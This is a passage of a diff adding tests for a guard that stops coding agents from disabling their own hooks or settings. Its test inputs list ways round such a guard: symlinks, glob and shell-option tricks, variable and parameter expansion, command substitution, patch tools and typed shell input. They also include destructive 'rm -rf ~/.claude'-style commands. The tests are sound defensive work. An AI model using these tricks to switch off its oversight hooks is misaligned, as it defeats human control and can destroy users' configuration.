"sub12", "notes.txt"), "x"); + expect(await bash(`cd sub12; cp /tmp/evil.json *.json`, p7)).toBe(true); + expect(await bash(`cp /tmp/evil.json sub12/c?g12.json`, p7)).toBe(true); + expect(await bash(`cp /tmp/evil.json sub12/{cfg12,x}.json`, p7)).toBe(true); + expect(await bashDecision(`cd sub12; cp /tmp/x *.txt`, p7)).toBe("allow"); + expect(await bashDecision(`ls sub12/*.json; cat sub12/*.json; cp sub12/*.json /tmp/backup/`, p7)).toBe("allow"); + }); + + it("reads each directory once for a command's globs", async () => { + const many = join(root, "many12"); + mkdirSync(many, { recursive: true }); + for (let i = 0; i < 1000; i++) writeFileSync(join(many, `f${i}.json`), ""); + const command = "cp a " + Array.from({ length: 4000 }, (_, i) => `x${i}*.json`).join(" ") + " /tmp/out/"; + const started = performance.now(); + expect(await bashDecision(command, many)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }); + + // hermes round 10. + it("checks every path a glob expands to on disk, and reads a limit as reaching the target", async () => { + const many = join(p7, "many13"); + mkdirSync(many, { recursive: true }); + for (let i = 0; i < 260; i++) writeFileSync(join(many, `cfg${i}.json`), "{}"); + symlinkSync(settings(), join(many, "cfg999.json")); + expect(await bash(`cd many13; printf '{"disableAllHooks":true}' | tee cfg*.json >/dev/null`, p7)).toBe(true); + expect(await bash(`printf x | tee ${many}/cfg*.json >/dev/null`, p7)).toBe(true); + // Many ordinary matches are still ordinary work. + const objects = join(p7, "build13"); + mkdirSync(objects, { recursive: true }); + for (let i = 0; i < 3000; i++) writeFileSync(join(objects, `f${i}.o`), ""); + const started = performance.now(); + expect(await bashDecision(`rm -f build13/*.o`, p7)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(2000); + expect(await bashDecision(`cp a many13/zz*.json`, p7)).toBe("allow"); + // An extended glob is matched as the `*` that covers it. + expect(await bash(`shopt -s extglob; cd many13; tee @(cfg999).json < /dev/null`, p7)).toBe(true); + expect(await bashDecision(`rm -rf /tmp/@(build|dist)`, p7)).toBe("allow"); + }); + + it("follows a cd or pushd whose operand a variable gives", async () => { + mkdirSync(join(p7, "sub14"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub14", "cfg14.json")); + for (const command of [ + `D=sub14; cd "$D"; cp ../disable.json cfg14.json`, + `D=sub14; pushd "$D"; cp ../disable.json cfg14.json`, + `D=sub14; cd $D && printf x > cfg14.json`, + `cd "\${D:-sub14}"; cp ../disable.json cfg14.json`, + ]) { + expect(await bash(command, p7), command).toBe(true); + } + expect(await bashDecision(`D=src; cd "$D"; cp ../a.txt out.txt`, p7)).toBe("allow"); + expect(await bashDecision(`cd "$WORKDIR"; cp a b`, p7)).toBe("allow"); + }); + + it("expands a parameter expansion in an assigned value", async () => { + mkdirSync(join(p7, "sub15"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub15", "cfg15.json")); + for (const command of [ + `cd sub15; A=cfg15.json.bak; B=\${A%.bak}; cp /tmp/evil.json "$B"`, + `cd sub15; B=\${A:-cfg15.json}; cp /tmp/evil.json "$B"`, + `cd sub15; A=cfg15Xjson; B=\${A/X/.}; cp /tmp/evil.json "$B"`, + `cd sub15; A=zzcfg15.json; B=\${A:2}; cp /tmp/evil.json "$B"`, + `cd sub15; A=cfg15.json.bak; A=\${A%.bak}; cp /tmp/evil.json "$A"`, + `cd sub15; A=CFG15.JSON; B="\${A,,}"; cp /tmp/evil.json "$B"`, + ]) { + expect(await bash(command, p7), command).toBe(true); + } + expect(await bashDecision(`f=report.txt; out=\${f%.txt}.md; cp a "$out"`, p7)).toBe("allow"); + }); + + // hermes round 11. + it("walks a glob's `..` after a link the way the kernel does", async () => { + // p7/physical-link -> /.claude/x + expect(await bash(`printf '{}' | tee physical-link/../settings*.json >/dev/null`, p7)).toBe(true); + expect(await bash(`cp /tmp/x physical-link/../set*.json`, p7)).toBe(true); + }); + + it("follows the glob options a command turns on", async () => { + mkdirSync(join(p7, "dotonly16", ".private"), { recursive: true }); + symlinkSync(settings(), join(p7, "dotonly16", ".private", "cfg16.json")); + mkdirSync(join(p7, "deep16", "a", "b"), { recursive: true }); + symlinkSync(settings(), join(p7, "deep16", "a", "b", "cfg16.json")); + mkdirSync(join(p7, "case16"), { recursive: true }); + symlinkSync(settings(), join(p7, "case16", "cfg16.json")); + expect(await bash(`shopt -s dotglob; printf '{}' | tee dotonly16/*/cfg16.json >/dev/null`, p7)).toBe(true); + expect(await bash(`shopt -s globstar; printf '{}' | tee deep16/**/*.json >/dev/null`, p7)).toBe(true); + expect(await bash(`shopt -s nocaseglob; cd case16; printf x | tee CFG16*.JSON`, p7)).toBe(true); + // Without dotglob neither bash nor zsh reaches into `.private`. `**` with + // no option is denied: zsh, macOS's default shell, recurses there anyway. + expect(await bashDecision(`printf '{}' | tee dotonly16/*/cfg16.json >/dev/null`, p7)).toBe("allow"); + expect(await bash(`printf '{}' | tee deep16/**/*.json >/dev/null`, p7)).toBe(true); + }); + + it("resolves a git -C operand a variable gives", async () => { + mkdirSync(join(p7, "repo17", "sub"), { recursive: true }); + mkdirSync(join(p7, "repo17", ".git"), { recursive: true }); + symlinkSync(settings(), join(p7, "repo17", "sub", "cfg17.json")); + expect(await bash(`cd repo17; D=sub; git -C "$D" log --format='format:{}' --output=cfg17.json`, p7)).toBe(true); + expect(await bashDecision(`cd repo17; D=src; git -C "$D" log --output=log.txt`, p7)).toBe("allow"); + }); + + it("reads a self-default assignment as its default while the variable is unset", async () => { + mkdirSync(join(p7, "sub18"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub18", "cfg18.json")); + expect(await bash(`cd sub18; A=\${A:-cfg18.json}; cp /tmp/evil.json "$A"`, p7)).toBe(true); + expect(await bash(`cd sub18; A=\${A-cfg18.json}; cp /tmp/evil.json "$A"`, p7)).toBe(true); + expect(await bashDecision(`A=\${A:-out}; cp a "$A/x"`, p7)).toBe("allow"); + }); + + it("counts every relative destination once the shell may stand in too many places", async () => { + mkdirSync(join(p7, "sub19"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub19", "cfg19.json")); + expect(await bashDecision(`cd n1; cd n2; cd n3; cd n4; cd n5; cd sub19; cp /tmp/evil.json cfg19.json`, p7)).toBe("deny"); + expect(await bashDecision(`mkdir -p out && cd out && cmake .. && make`, p7)).toBe("allow"); + }); + + it("keeps a single-quoted assigned value literal", async () => { + mkdirSync(join(p7, "sub20"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub20", "cfg20.json")); + expect(await bashDecision(`cd sub20; A=cfg20.json; B='$A'; cp ../disable.json "$B"`, p7)).toBe("allow"); + expect(await bash(`cd sub20; A=cfg20.json; B="$A"; cp ../disable.json "$B"`, p7)).toBe(true); + }); + + // Found checking the round-11 fixes. Reading no variables at all from the + // unescaped text kept `B='$A'` literal, and left a value that starts with a + // quoted piece read only as far as that piece. + it("reads an assigned value that starts with a quoted piece in full", async () => { + mkdirSync(join(p7, "sub21"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub21", "cfg21.json")); + expect(await bash(`D="$HOME"/.claude/settings.json; cp /tmp/evil.json "$D"`, p7)).toBe(true); + expect(await bash(`cd sub21; A='cfg21'.json; cp /tmp/evil.json "$A"`, p7)).toBe(true); + expect(await bash(`cd sub21; A="cfg21".json; cp /tmp/evil.json $A`, p7)).toBe(true); + expect(await bash(`cd sub21; A="cfg21"'.json'; cp /tmp/evil.json $A`, p7)).toBe(true); + expect(await bash(`cd sub21; A=cfg21.json; B='x'$A; cp ../disable.json "\${B#x}"`, p7)).toBe(true); + // A value continued on the next line is one value. + expect(await bash(`D=~/.cla\\\nude/settings.json; cp /tmp/evil.json $D`, p7)).toBe(true); + }); + + it("keeps a dollar the shell would not expand literal, however it is quoted", async () => { + mkdirSync(join(p7, "sub22"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub22", "cfg22.json")); + expect(await bashDecision(`cd sub22; A=cfg22.json; B=\\$A; cp ../disable.json "$B"`, p7)).toBe("allow"); + expect(await bashDecision(`cd sub22; A=cfg22.json; B="\\$A"; cp ../disable.json "$B"`, p7)).toBe("allow"); + expect(await bashDecision(`cd sub22; A=cfg22.json; B=$'$A'; cp ../disable.json "$B"`, p7)).toBe("allow"); + expect(await bashDecision(`cd sub22; A=cfg22.json; B='\${A}'; C=$B; cp ../disable.json "$C"`, p7)).toBe("allow"); + // The reference the command does make is still followed. + expect(await bash(`cd sub22; A=cfg22.json; B=$A; cp ../disable.json "$B"`, p7)).toBe(true); + }); + + // Found end to end on macOS, whose default shell is zsh: Claude Code runs + // the agent's command there, and zsh needs no option for `**/` to recurse. + it("reads a glob the way zsh expands it too", async () => { + mkdirSync(join(p7, "deep23", "a", "b"), { recursive: true }); + symlinkSync(settings(), join(p7, "deep23", "a", "b", "cfg23.json")); + mkdirSync(join(p7, "dot23", ".private"), { recursive: true }); + symlinkSync(settings(), join(p7, "dot23", ".private", "cfg23.json")); + mkdirSync(join(p7, "case23"), { recursive: true }); + symlinkSync(settings(), join(p7, "case23", "cfg23.json")); + expect(await bash(`printf '{}' | tee deep23/**/*.json >/dev/null`, p7)).toBe(true); + expect(await bash(`printf '{}' | tee deep23/***/cfg23.json >/dev/null`, p7)).toBe(true); + expect(await bash(`setopt globdots; printf '{}' | tee dot23/*/cfg23.json >/dev/null`, p7)).toBe(true); + expect(await bash(`setopt GLOB_DOTS; printf '{}' | tee dot23/*/cfg23.json >/dev/null`, p7)).toBe(true); + expect(await bash(`printf '{}' | tee dot23/*(D)/cfg23.json >/dev/null`, p7)).toBe(true); + expect(await bash(`unsetopt CASE_GLOB; cd case23; printf x | tee CFG23*.JSON`, p7)).toBe(true); + // Hidden directories still need an option, and ordinary recursive work stays allowed. + expect(await bashDecision(`printf '{}' | tee dot23/*/cfg23.json >/dev/null`, p7)).toBe("allow"); + expect(await bashDecision(`rm -f src/**/*.orig`, p7)).toBe("allow"); + expect(await bashDecision(`rm -rf **/__pycache__`, p7)).toBe("allow"); + }); + + // hermes on 336194e1. + it("judges a substitution where it runs, after the commands before it", async () => { + mkdirSync(join(p7, "sub24"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub24", "cfg24.json")); + expect(await bash(`cd sub24; echo "$(cp ../disable.json cfg24.json)"`, p7)).toBe(true); + expect(await bash("cd sub24; echo \"`cp ../disable.json cfg24.json`\"", p7)).toBe(true); + expect(await bashDecision(`cd sub24; echo "$(ls)"`, p7)).toBe("allow"); + }); + + it("refuses a line with more substitutions than it reads", async () => { + mkdirSync(join(p7, "sub25"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub25", "cfg25.json")); + const padding = "$(true)".repeat(64); + expect(await bashDecision(`echo "${padding}$(cp disable.json sub25/cfg25.json)"`, p7)).toBe("deny"); + expect(await bashDecision(`echo "${"$(true)".repeat(63)}$(cp disable.json sub25/cfg25.json)"`, p7)).toBe("deny"); + expect(await bashDecision(`echo "${"$(date)".repeat(10)}"`, p7)).toBe("allow"); + }); + + it("reads git -C past the repositories it keeps as reaching anywhere", async () => { + mkdirSync(join(p7, "repo26", ".git"), { recursive: true }); + const values = Array.from({ length: 17 }, (_, i) => `D=r${i}`).join("; "); + expect(await bashDecision(`cd repo26; ${values}; git -C "$D" log --format='format:{}' --output=cfg26.json`, p7)).toBe("deny"); + expect(await bashDecision(`cd repo26; D=src; git -C "$D" log --oneline`, p7)).toBe("allow"); + }); + + it("reads a glob destination once the walk loses where the shell stands", async () => { + const dirs = Array.from({ length: 17 }, (_, i) => `d27_${i}`); + for (const dir of dirs) mkdirSync(join(p7, "over27", dir), { recursive: true }); + symlinkSync(settings(), join(p7, "over27", dirs[16], "cfg27.json")); + const values = dirs.map((dir) => `D=${dir}`).join("; "); + expect(await bashDecision(`cd over27; ${values}; cd "$D"; cp ../../disable.json cfg2*.json`, p7)).toBe("deny"); + }); + + it("checks what a glob expands to by name only once the command changes how globs match", async () => { + // /.claude/settings.json is on disk, and under dotglob `*` reaches `.claude`. + expect(await bash(`shopt -s dotglob; printf x | tee ~/*/settings.json`, p7)).toBe(true); + expect(await bash(`shopt -s dotglob; rm -rf ~/*`, p7)).toBe(true); + // Under the default rules a pattern that also takes ordinary directories is a sweep. + expect(await bashDecision(`rm -rf ~/.*`, p7)).toBe("allow"); + expect(await bashDecision(`rm -rf ~/.!(config)`, p7)).toBe("allow"); + }); + + it("reads OpenClaw's apply_patch, which arrives by its own name", async () => { + const patch = (file: string) => `*** Begin Patch\n*** Update File: ${file}\n@@\n-x\n+y\n*** End Patch\n`; + const run = async (toolInput: Record) => + (await policy.fn({ eventType: "PreToolUse", payload: {}, toolName: "apply_patch", toolInput, session: { cwd: p7 } })).decision; + expect(await run({ input: patch(join(h7, ".openclaw", "openclaw.json")) })).toBe("deny"); + expect(await run({ patchText: patch(".claude/settings.json") })).toBe("deny"); + // Whatever key carries it. + expect(await run({ text: patch(".codex/hooks.json") })).toBe("deny"); + expect(await run({ input: patch("src/app.ts") })).toBe("allow"); + expect(POLICY_CATALOG.find((entry) => entry.name === "block-failproofai-commands")!.match.toolNames).toContain("apply_patch"); + }); + + it("reads an appended variable in an agent CLI's hooks-off command", async () => { + expect(await bashDecision(`F=ho; F+=oks; codex features disable "$F"`, p7)).toBe("deny"); + expect(await bashDecision(`F+=hooks; codex features disable $F`, p7)).toBe("deny"); + }); + + it("reads an empty heredoc delimiter the way bash does", async () => { + expect(await bash(`cat > /tmp/notes <<''\ncat > /tmp/y < /tmp/notes <<''\nrm -rf ~/.claude\n\necho done\n`, p7)).toBe("allow"); + }); +}); + +describe("agent-settings-guard helpers", () => { + it("matches settings files anchored at the end, and config directories exactly", () => { + expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); + expect(isAgentSettingsPath(".claude/settings.local.json")).toBe(true); + expect(isAgentSettingsPath("/h/.claude/settings.json.bak")).toBe(false); + expect(isAgentSettingsPath("/h/my.claude/settings.json")).toBe(false); + expect(isAgentSettingsPath("/h/.claude/projects/x/settings.json")).toBe(false); + expect(isAgentConfigDirPath("/h/.claude")).toBe(true); + expect(isAgentConfigDirPath("/h/.claude/")).toBe(true); + expect(isAgentConfigDirPath("/h/.claude/skills")).toBe(false); + expect(isAgentConfigDirPath("/h/.github")).toBe(false); + // `.github/hooks/` is also where repositories keep GIT hooks: only its + // `*.json` files are Copilot's. + expect(isAgentConfigDirPath("/h/.github/hooks")).toBe(false); + expect(isAgentSettingsPath("/h/.github/hooks/failproofai.json")).toBe(true); + }); + + it("reads file paths before patch text, and patch text only without them", () => { + expect(agentToolWritePaths({ file_path: "/a", content: "*** Update File: /b" })).toEqual(["/a"]); + expect(agentToolWritePaths({ notebook_path: "/n.ipynb" })).toEqual(["/n.ipynb"]); + expect(agentToolWritePaths({ command: ["apply_patch", "*** Begin Patch\n*** Update File: x/y.ts\n*** End Patch"] })).toEqual(["x/y.ts"]); + expect(agentToolWritePaths(undefined)).toEqual([]); + }); + + it("finds every file a patch touches", () => { + expect( + agentPatchTargetPaths( + "*** Begin Patch\n*** Add File: a.ts\n*** Update File: b.ts\n*** Move to: c.ts\n*** Delete File: d.ts\n*** End Patch", + ), + ).toEqual(["a.ts", "b.ts", "c.ts", "d.ts"]); + expect(agentPatchTargetPaths("--- a/x.json\n+++ b/x.json\n--- /dev/null\n+++ b/new.json\n")).toEqual([ + "x.json", + "x.json", + "new.json", + ]); + }); +}); diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..5e916b4e1 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,10 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. It is caught now, as a variable + // spliced into a path and as one the line assigns; see settings-guard.test.ts + // and guard-npx-local-bin.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/__tests__/hooks/typed-shell-input-handler.test.ts b/__tests__/hooks/typed-shell-input-handler.test.ts new file mode 100644 index 000000000..59b7c29ad --- /dev/null +++ b/__tests__/hooks/typed-shell-input-handler.test.ts @@ -0,0 +1,137 @@ +// @vitest-environment node +// +// Whether the handler moves typed shell text into `command` and registers the +// refusal guard. The text's reading is covered in typed-shell-input.test.ts. +import { describe, it, expect, vi, beforeEach, afterAll } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const scratch = mkdtempSync(join(tmpdir(), "fp-typed-input-")); +process.env.FAILPROOFAI_HOME = scratch; + +vi.mock("../../src/hooks/policy-registry", async (importOriginal) => ({ + ...(await importOriginal()), + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", () => ({ + loadAllCustomHooks: vi.fn(async () => ({ hooks: [], conventionSources: [] })), +})); +vi.mock("../../src/hooks/cloud-managed-policies", async (importOriginal) => ({ + ...(await importOriginal()), + readActiveCloudManagedPolicies: vi.fn(() => []), + readCloudJevMode: vi.fn(() => null), + readCloudJevState: vi.fn(() => ({ jevMode: null, deployment: null, errors: [] })), + readCloudAuthorityInputs: vi.fn(() => []), +})); +vi.mock("../../src/hooks/session-pause", async (importOriginal) => ({ + ...(await importOriginal()), + readActivePause: vi.fn(() => null), +})); +vi.mock("../../src/hooks/hook-activity-store", () => ({ persistHookActivity: vi.fn() })); +vi.mock("../../src/hooks/policy-evaluator", () => ({ + evaluatePolicies: vi.fn(() => ({ exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" })), +})); +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-id") })); +vi.mock("../../src/hooks/hook-logger", () => ({ hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn() })); +vi.mock("../../src/hooks/untraced-note", () => ({ noteUntracedAgent: vi.fn(() => false) })); +vi.mock("../../src/hooks/pack-manifest", () => ({ + readInstalledPacks: vi.fn(() => ({ packs: [], errors: [] })), + hasInstalledPacks: vi.fn(() => false), + hasInstalledRegexPacks: vi.fn(() => false), +})); + +import { evaluateHookEvent } from "../../src/hooks/handler"; +import { TYPED_INPUT_GUARD_NAME } from "../../src/hooks/typed-shell-input"; +import { CODEX_SESSION_GUARD_NAME } from "../../src/hooks/codex-interactive-session"; +import { readActiveCloudManagedPolicies } from "../../src/hooks/cloud-managed-policies"; +import { readActivePause } from "../../src/hooks/session-pause"; +import { registerPolicy } from "../../src/hooks/policy-registry"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; + +const codex = (tool_name: string, tool_input: Record) => + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", hook_event_name: "PreToolUse", tool_name, tool_input }); +const registered = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === TYPED_INPUT_GUARD_NAME); +const evaluatedInput = () => (vi.mocked(evaluatePolicies).mock.calls[0]?.[1] as Record)?.tool_input as Record; +const CLOUD = { id: "org", version: 1, sha256: "a".repeat(64), path: "/x.mjs", deployment: 1 }; + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(readActivePause).mockReturnValue(null); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([]); +}); + +afterAll(() => { + rmSync(scratch, { recursive: true, force: true }); +}); + +describe("handler: text typed into a running shell", () => { + it("hands Codex write_stdin's chars to the shell policies as the command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.failproofai\n" })); + expect(evaluatedInput()).toMatchObject({ command: "rm -rf ~/.failproofai", chars: "rm -rf ~/.failproofai\n" }); + expect(registered()).toBe(false); + }); + + it("hands Copilot write_bash's input to the shell policies as the command", async () => { + await evaluateHookEvent( + "PreToolUse", + "copilot", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "write_bash", tool_input: { shellId: "a", input: "sudo ls\n" } }), + ); + expect(evaluatedInput()).toMatchObject({ command: "sudo ls" }); + }); + + it("registers the guard for a partial line", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "rm -rf ~/.fail" })); + expect(registered()).toBe(true); + }); + + it("does not register it for an empty poll or an ordinary command", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "" })); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "ls" })); + expect(registered()).toBe(false); + }); + + it("a pause lifts it unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("write_stdin", { session_id: 7, chars: "x" })); + expect(registered()).toBe(true); + }); +}); + +describe("handler: a Codex command that opens an interactive session", () => { + const sessionGuard = () => vi.mocked(registerPolicy).mock.calls.some(([name]) => name === CODEX_SESSION_GUARD_NAME); + + it("registers the guard for Codex's bash -i, the one call Codex hooks for a kept-open shell", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); + + it("does not register it for a one-shot command, or on another CLI", async () => { + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "npm test" })); + await evaluateHookEvent( + "PreToolUse", + "claude", + JSON.stringify({ session_id: "s1", cwd: "/tmp/p", tool_name: "Bash", tool_input: { command: "bash -i" } }), + ); + expect(sessionGuard()).toBe(false); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", async () => { + vi.mocked(readActivePause).mockReturnValue({ sessionId: "s1" } as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(false); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + await evaluateHookEvent("pre_tool_use", "codex", codex("Bash", { command: "bash -i" })); + expect(sessionGuard()).toBe(true); + }); +}); diff --git a/__tests__/hooks/typed-shell-input.test.ts b/__tests__/hooks/typed-shell-input.test.ts new file mode 100644 index 000000000..a0f7995b1 --- /dev/null +++ b/__tests__/hooks/typed-shell-input.test.ts @@ -0,0 +1,119 @@ +// @vitest-environment node +// +// Text an agent types into a running shell (FailproofAI/agenteye#1898): Codex's +// `write_stdin` sends it as `chars`, Copilot's `write_bash` as `input`, and every +// shell policy reads only `command`. Payload shapes are taken from the agents' +// own tool schemas: codex-cli 0.172 and Copilot CLI 1.0.114. +import { describe, it, expect } from "vitest"; +import { readTypedText, typedShellInput, typedInputGuardFor, typedInputGuardActive } from "../../src/hooks/typed-shell-input"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("readTypedText", () => { + it.each([ + ["one line", "rm -rf ~/.failproofai\n", "rm -rf ~/.failproofai"], + ["several lines", "ls -la\nrm -rf x\n", "ls -la\nrm -rf x"], + ["a carriage return as Enter", "ls\r", "ls"], + ["CRLF line ends", "a\r\nb\r\n", "a\nb"], + ["a heredoc sent whole", "cat > notes <<'EOF'\nline\nEOF\n", "cat > notes <<'EOF'\nline\nEOF"], + ["an escaped backslash at the end", "echo a\\\\\n", "echo a\\\\"], + ["a quote closed on the same line", "echo 'it''s'\n", "echo 'it''s'"], + ["a dollar inside single quotes", "echo '$HOME'\n", "echo '$HOME'"], + ["an environment assignment for one command", "NODE_ENV=test npm test\n", "NODE_ENV=test npm test"], + ["a comment with a quote in it", "ls # don't\n", "ls # don't"], + ])("reads %s as the lines it runs", (_label, text, command) => { + expect(readTypedText(text)).toEqual({ kind: "command", command }); + }); + + it.each([ + ["an empty write, which polls for output", ""], + ["Ctrl-C", "\u0003"], + ["Ctrl-D", "\u0004"], + ["an arrow key and Enter", "\u001b[A\n"], + ["Enter alone", "\n"], + // Every write it accepts ends its line and carries no editing keys, so the + // shell's kill buffer only ever holds text that was already judged. + ["Ctrl-Y alone", "\u0019\n"], + ])("gives nothing to judge for %s", (_label, text) => { + expect(readTypedText(text)).toEqual({ kind: "command", command: "" }); + }); + + it.each([ + ["a partial line, which a later write would finish", "rm -rf ~/.fail"], + ["text after the last line end", "ls\nrm -rf ~/.fail"], + ["Tab completion", "rm -rf ~/.failpr\t\n"], + ["Ctrl-W", "rm -rf ~/x\u0017~/.failproofai\n"], + ["a cursor key mid-line", "rm -rf ~/.f\u001b[Dx\n"], + ["a trailing backslash, continued in the next write", "cp source \\\n"], + ["an unclosed quote", "cp source 'ho\n"], + ["a heredoc whose closing line has not been sent", "cat > notes < { + expect(readTypedText(text).kind).toBe("unreadable"); + }); +}); + +describe("typedShellInput", () => { + it("reads Codex write_stdin's chars", () => { + expect(typedShellInput("codex", "write_stdin", "Bash", { session_id: 1, chars: "rm -rf x\n" })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it.each(["write_bash", "write_powershell"])("reads Copilot %s's input", (tool) => { + expect(typedShellInput("copilot", tool, "Bash", { shellId: "s1", input: "rm -rf x\n", delay: 1 })).toEqual({ + kind: "command", + command: "rm -rf x", + }); + }); + + it("knows a typing call by its shape when the name already arrives as Bash", () => { + expect(typedShellInput("copilot", "Bash", "Bash", { shellId: "s1", input: "rm -rf x\n" })?.kind).toBe("command"); + expect(typedShellInput("codex", "Bash", "Bash", { session_id: 3, chars: "rm -rf x" })?.kind).toBe("unreadable"); + }); + + it.each([ + ["a Codex shell command", "codex", "Bash", { command: "ls" }], + ["Copilot's read_bash, which types nothing", "copilot", "read_bash", { shellId: "s1", delay: 1 }], + ["Copilot's bash with a shell id", "copilot", "bash", { command: "ls", shellId: "s1" }], + ["another CLI's tool with an input field", "claude", "Bash", { input: "x", shellId: "s" }], + ] as const)("leaves %s alone", (_label, cli, raw, input) => { + expect(typedShellInput(cli, raw, "Bash", input)).toBeUndefined(); + }); + + it("leaves a call that is not a shell call alone", () => { + expect(typedShellInput("codex", "write_stdin", "Edit", { chars: "x" })).toBeUndefined(); + }); +}); + +describe("the guard", () => { + const ctx = (eventType: string): PolicyContext => ({ eventType, payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext); + + it("denies on PreToolUse and says why", () => { + const result = typedInputGuardFor("it does not end its line")(ctx("PreToolUse")); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("it does not end its line"); + }); + + it("allows on any other event", () => { + expect(typedInputGuardFor("x")(ctx("PostToolUse")).decision).toBe("allow"); + }); + + it("is lifted by a pause unless an enforcing Cloud policy is deployed", () => { + expect(typedInputGuardActive(false, [])).toBe(true); + expect(typedInputGuardActive(true, [])).toBe(false); + expect(typedInputGuardActive(true, [{ effect: "observe" }])).toBe(false); + expect(typedInputGuardActive(true, [{}])).toBe(true); + }); +}); diff --git a/__tests__/lib/codex-code-mode.test.ts b/__tests__/lib/codex-code-mode.test.ts new file mode 100644 index 000000000..3be465e3c --- /dev/null +++ b/__tests__/lib/codex-code-mode.test.ts @@ -0,0 +1,113 @@ +// @vitest-environment node +import { describe, it, expect } from "vitest"; +import { extractCodeModeCalls, patchedFiles } from "@/lib/codex-code-mode"; + +describe("lib/codex-code-mode: extractCodeModeCalls", () => { + it("reads an exec_command call with unquoted and quoted keys, as Codex 0.172 writes it", () => { + const code = + 'const r = await tools.exec_command({cmd:"pwd && rg --files -g \'AGENTS.md\'","workdir":"/home/u/proj","yield_time_ms":10000,"max_output_tokens":2000}); text(r.output);\n'; + expect(extractCodeModeCalls(code)).toEqual([ + { + name: "exec_command", + arg: { cmd: "pwd && rg --files -g 'AGENTS.md'", workdir: "/home/u/proj", yield_time_ms: 10000, max_output_tokens: 2000 }, + partial: false, + }, + ]); + }); + + it("decodes escapes in the command", () => { + const [call] = extractCodeModeCalls('tools.exec_command({cmd:"echo \\"a\\tb\\"\\nls \\u0041"})'); + expect(call.arg).toEqual({ cmd: 'echo "a\tb"\nls A' }); + }); + + it("reads write_stdin's session id and typed characters", () => { + const [call] = extractCodeModeCalls('const r = await tools.write_stdin({session_id:92857,chars:"rm -rf x\\n",yield_time_ms:1000});'); + expect(call).toEqual({ name: "write_stdin", arg: { session_id: 92857, chars: "rm -rf x\n", yield_time_ms: 1000 }, partial: false }); + }); + + it("returns every call site in source order", () => { + const code = [ + 'const a = await tools.exec_command({cmd:"git status"});', + 'const b = await tools.exec_command({cmd:"git diff --stat", workdir:"/w"});', + 'await tools.update_plan({plan:[{step:"x",status:"done"}]});', + ].join("\n"); + expect(extractCodeModeCalls(code).map((c) => [c.name, c.arg])).toEqual([ + ["exec_command", { cmd: "git status" }], + ["exec_command", { cmd: "git diff --stat", workdir: "/w" }], + ["update_plan", { plan: [{ step: "x", status: "done" }] }], + ]); + }); + + it("leaves a command built from a variable unread, and says so", () => { + const code = 'const jobs = [{cmd:"cargo test"}];\nfor (const j of jobs) { await tools.exec_command({cmd: j.cmd, workdir: "/w"}); }'; + expect(extractCodeModeCalls(code)).toEqual([{ name: "exec_command", arg: { workdir: "/w" }, partial: true }]); + }); + + it("treats shorthand, spread and computed keys as unread", () => { + expect(extractCodeModeCalls("tools.exec_command({cmd})")[0]).toEqual({ name: "exec_command", arg: {}, partial: true }); + 